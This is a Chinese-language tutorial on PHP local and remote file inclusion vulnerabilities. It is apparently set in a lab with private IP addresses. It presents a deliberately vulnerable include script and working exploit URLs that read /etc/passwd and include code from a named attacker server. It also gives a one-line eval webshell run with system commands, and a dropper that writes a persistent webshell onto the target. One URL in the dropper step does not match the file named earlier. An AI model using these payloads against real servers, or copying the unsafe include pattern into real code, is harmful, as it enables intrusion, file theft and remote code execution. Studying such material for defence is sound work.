文件包含漏洞利用的原理
一, 本地文件包含
1. 漏洞利用条件:
在默认情况下, php.ini配置文件中 allow_url_fopen=On
是开启状态.
服务器php脚本中的 include
include_once
require
require_once
等函数用于包含文件中的代码, 如果参数是用户可控的, 则可能被利用来执行系统命令或执行恶意代码. 例如:
http://192.168.112.200/security/fileinc.php
php
<?php
$filename = $_GET['filename'];
include $filename; // 或include_once, require, require_once
echo "<hr>欢迎来到PHP的世界.<br>";
?>
这里GET方法的 filename
参数用户可控, 且没有对包含的文件进行过滤和限制.
2. 利用方式
py
读取系统文件
http://192.168.112.200/security/fileinc.php?filename=/etc/passwd
渲染html页面
http://192.168.112.200/security/fileinc.php?filename=login.html
二, 远程文件包含
1. 漏洞利用条件:
在默认情况下, php.ini配置文件中 allow_url_include=Off
是关闭状态.
如果该项配置被打开, 且include
参数是用户可控的, 则可能被用于执行攻击者服务器上的恶意代码.
2. 利用方式:
假设 192.168.112.201
是攻击者的服务器
2.1 直接执行远程php代码
py
http://192.168.112.200/security/fileinc.php?filename=http://192.168.112.201/security/test/mm.php
2.2 包含远程木马代码, 提交参数执行命令
木马文件: http://192.168.112.201/security/test/mm2.txt
:
php
<?php @eval($_GET['cmd']); ?>
注意包含恶意代码的文件后缀名是txt, 而不是php.
因为我们需要的是把mm2.txt
文件中代码包含到目标fileinc.php
当中去执行, 而不是在192.168.112.201
上面直接执行php脚本.
包含远程脚本代码, 提交参数执行命令
py
http://192.168.112.200/security/fileinc.php?
filename=http://192.168.112.201/security/test/mm2.txt&cmd=phpinfo();
http://192.168.112.200/security/fileinc.php?
filename=http://192.168.112.200/security/test/mm2.txt&cmd=system("ifconfig");
此时 &cmd=phpinfo();
这里是提交的参数, 目标服务器经过包含mm2.txt
文件内的代码之后, 即可执行参数中的命令.
2.3 通过远程php脚本将恶意代码写入到目标服务器.
木马文件: http://192.168.112.201/security/test/mm3.php
:
php
<?php
$code = '<?php @eval($_GET["cmd"]); ?>';
file_put_contents("test/mm3_in.php", $code);
?>
以上代码在目标服务器test/
目录下创建一个mm3_in.php
木马文件.
利用文件包含漏洞执行代码:
py
http://192.168.112.200/security/fileinc.php?filename=http://192.168.112.200/security/test/mm3.txt
执行成功后, 即可利用mm3_in.php
:
py
http://192.168.112.200/security/test/mm3_in.php?cmd=phpinfo();